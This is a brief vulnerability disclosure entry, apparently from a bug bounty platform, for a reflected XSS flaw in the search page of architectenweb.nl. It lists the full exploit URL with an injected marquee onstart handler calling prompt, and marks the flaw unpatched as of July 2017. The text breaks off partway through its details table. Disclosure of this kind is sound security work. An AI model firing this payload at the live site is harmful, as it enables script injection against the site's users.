architectenweb.nl XSS vulnerability

Vulnerable URL: https://architectenweb.nl/zoeken/default.aspx?keywords=a%27xxxxxxx=%22%3Ebar=%22%3Edemonium%3C%3C/title%3E%3C/script%3E%3Cmarquee,onstart=prompt%27OPENBUGBOUNTY%27%3Exxxxx Details: Description| Value ---|--- Patched:| No Latest check for patch:| 29.07.2017 Vulnerability type:| XSS...